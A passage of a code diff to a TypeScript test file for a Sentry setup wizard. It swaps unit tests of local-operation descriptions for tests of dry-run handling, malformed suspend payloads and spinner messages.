expect(handleInteractiveSpy).toHaveBeenCalledWith( + { + type: "interactive", + kind: "confirm", + prompt: "Continue?", + }, + makeContext() + ); + }); - test("handles multiple suspend/resume iterations", async () => { - mockStartResult = { - status: "suspended", - suspended: [["detect-platform"]], - steps: { - "detect-platform": { - suspendPayload: { - type: "local-op", - operation: "list-dir", - cwd: "/app", - params: { path: "." }, - }, - }, - }, - }; - mockResumeResults = [ - { - status: "suspended", - suspended: [["select-features"]], - steps: { - "select-features": { - suspendPayload: { - type: "interactive", - kind: "multi-select", - prompt: "Select features", - availableFeatures: ["errorMonitoring"], - }, - }, + test("skips verify-changes interactive prompts during dry-run", async () => { + resolveInitContextSpy.mockResolvedValue(makeContext({ dryRun: true })); + mockStartResult = { + status: "suspended", + suspended: [["verify-changes"]], + steps: { + "verify-changes": { + suspendPayload: { + type: "interactive", + kind: "confirm", + prompt: "Verify changes?", }, }, - { status: "success" }, - ]; - - await runWizard(makeOptions()); - - expect(handleLocalOpSpy).toHaveBeenCalledTimes(1); - expect(handleInteractiveSpy).toHaveBeenCalledTimes(1); - expect(formatResultSpy).toHaveBeenCalled(); - }); - }); - - describe("malformed server responses", () => { - test("rejects non-object response from startAsync", async () => { - const badRun = { - startAsync: mock(() => Promise.resolve("not an object")), - resumeAsync: mock(), - }; - const badWorkflow = { - createRun: mock(() => Promise.resolve(badRun)), - }; - getWorkflowSpy.mockReturnValue(badWorkflow as any); - - await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); - - expect(logErrorSpy).toHaveBeenCalledWith( - "Invalid workflow response: expected object" - ); - }); - - test("rejects response with invalid status", async () => { - const badRun = { - startAsync: mock(() => - Promise.resolve({ status: "banana", result: {} }) - ), - resumeAsync: mock(), - }; - const badWorkflow = { - createRun: mock(() => Promise.resolve(badRun)), - }; - getWorkflowSpy.mockReturnValue(badWorkflow as any); - - await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); + }, + }; + mockResumeResults = [{ status: "success" }]; - expect(logErrorSpy).toHaveBeenCalledWith( - "Unexpected workflow status: banana" - ); - }); - - test("rejects null response from startAsync", async () => { - const badRun = { - startAsync: mock(() => Promise.resolve(null)), - resumeAsync: mock(), - }; - const badWorkflow = { - createRun: mock(() => Promise.resolve(badRun)), - }; - getWorkflowSpy.mockReturnValue(badWorkflow as any); - - await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); + await runWizard(makeOptions({ dryRun: true })); - expect(logErrorSpy).toHaveBeenCalledWith( - "Invalid workflow response: expected object" - ); - }); + expect(handleInteractiveSpy).not.toHaveBeenCalled(); }); -}); - -// ── describeLocalOp unit tests ────────────────────────────────────────────── -describe("describeLocalOp", () => { - function payload( - overrides: Partial & - Pick - ): LocalOpPayload { - return { type: "local-op", cwd: "/app", ...overrides } as LocalOpPayload; - } - - describe("read-files", () => { - test("single file shows basename", () => { - const msg = describeLocalOp( - payload({ - operation: "read-files", - params: { paths: ["src/settings.py"] }, - }) - ); - expect(msg).toBe("Reading `settings.py`..."); - }); - - test("two files shows both basenames", () => { - const msg = describeLocalOp( - payload({ - operation: "read-files", - params: { paths: ["src/settings.py", "src/urls.py"] }, - }) - ); - expect(msg).toBe("Reading `settings.py`, `urls.py`..."); - }); - - test("three+ files shows count and first two basenames", () => { - const msg = describeLocalOp( - payload({ - operation: "read-files", - params: { - paths: ["a/one.py", "b/two.py", "c/three.py", "d/four.py"], + test("surfaces malformed suspend payload types", async () => { + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "unknown", + operation: "list-dir", + cwd: "/tmp/test", + params: { path: "." }, }, - }) - ); - expect(msg).toBe("Reading 4 files (`one.py`, `two.py`, ...)..."); - }); - - test("empty paths array", () => { - const msg = describeLocalOp( - payload({ operation: "read-files", params: { paths: [] } }) - ); - expect(msg).toBe("Reading files..."); - }); - }); - - describe("file-exists-batch", () => { - test("single file shows basename", () => { - const msg = describeLocalOp( - payload({ - operation: "file-exists-batch", - params: { paths: ["requirements.txt"] }, - }) - ); - expect(msg).toBe("Checking `requirements.txt`..."); - }); + }, + }, + }; - test("multiple files shows count", () => { - const msg = describeLocalOp( - payload({ - operation: "file-exists-batch", - params: { paths: ["a.py", "b.py", "c.py"] }, - }) - ); - expect(msg).toBe("Checking 3 files (`a.py`, `b.py`, ...)..."); - }); + await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); }); - describe("apply-patchset", () => { - test("single create shows verb and basename", () => { - const msg = describeLocalOp( - payload({ - operation: "apply-patchset", - params: { - patches: [{ path: "src/sentry.py", action: "create", patch: "" }], - }, - }) - ); - expect(msg).toBe("Creating `sentry.py`..."); - }); - - test("single modify shows verb and basename", () => { - const msg = describeLocalOp( - payload({ - operation: "apply-patchset", - params: { - patches: [{ path: "settings.py", action: "modify", patch: "" }], - }, - }) - ); - expect(msg).toBe("Modifying `settings.py`..."); - }); - - test("single delete shows verb and basename", () => { - const msg = describeLocalOp( - payload({ - operation: "apply-patchset", - params: { - patches: [{ path: "old.js", action: "delete", patch: "" }], - }, - }) - ); - expect(msg).toBe("Deleting `old.js`..."); - }); + test("fails when a suspended step has no payload", async () => { + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": {}, + }, + }; - test("multiple patches shows count and breakdown", () => { - const msg = describeLocalOp( - payload({ - operation: "apply-patchset", - params: { - patches: [ - { path: "a.py", action: "create", patch: "" }, - { path: "b.py", action: "create", patch: "" }, - { path: "c.py", action: "modify", patch: "" }, - ], - }, - }) - ); - expect(msg).toBe("Applying 3 file changes (2 created, 1 modified)..."); - }); + await expect(runWizard(makeOptions())).rejects.toThrow(WizardError); }); - describe("run-commands", () => { - test("single command shows the command", () => { - const msg = describeLocalOp( - payload({ - operation: "run-commands", - params: { commands: ["pip install sentry-sdk"] }, - }) - ); - expect(msg).toBe("Running `pip install sentry-sdk`..."); - }); - - test("multiple commands shows count and first", () => { - const msg = describeLocalOp( - payload({ - operation: "run-commands", - params: { - commands: ["pip install sentry-sdk", "python manage.py check"], + test("renders tool result messages via the spinner stop state", async () => { + mockStartResult = { + status: "suspended", + suspended: [["ensure-sentry-project"]], + steps: { + "ensure-sentry-project": { + suspendPayload: { + type: "tool", + operation: "create-sentry-project", + cwd: "/tmp/test", + params: { name: "my-app", platform: "javascript-react" }, }, - }) - ); - expect(msg).toBe("Running 2 commands (`pip install sentry-sdk`, ...)..."); + }, + }, + }; + executeToolSpy.mockResolvedValue({ + ok: true, + message: "Using existing project", + data: {}, }); - }); + mockResumeResults = [{ status: "success" }]; - describe("list-dir", () => { - test("shows generic listing message", () => { - const msg = describeLocalOp( - payload({ operation: "list-dir", params: { path: "." } }) - ); - expect(msg).toBe("Listing directory..."); - }); - }); + await runWizard(makeOptions()); - describe("create-sentry-project", () => { - test("shows project name and platform", () => { - const msg = describeLocalOp( - payload({ - operation: "create-sentry-project", - params: { name: "my-app", platform: "python-django" }, - }) - ); - expect(msg).toBe("Creating project `my-app` (python-django)..."); - }); + expect(spinnerMock.stop).toHaveBeenCalledWith("Using existing project"); }); });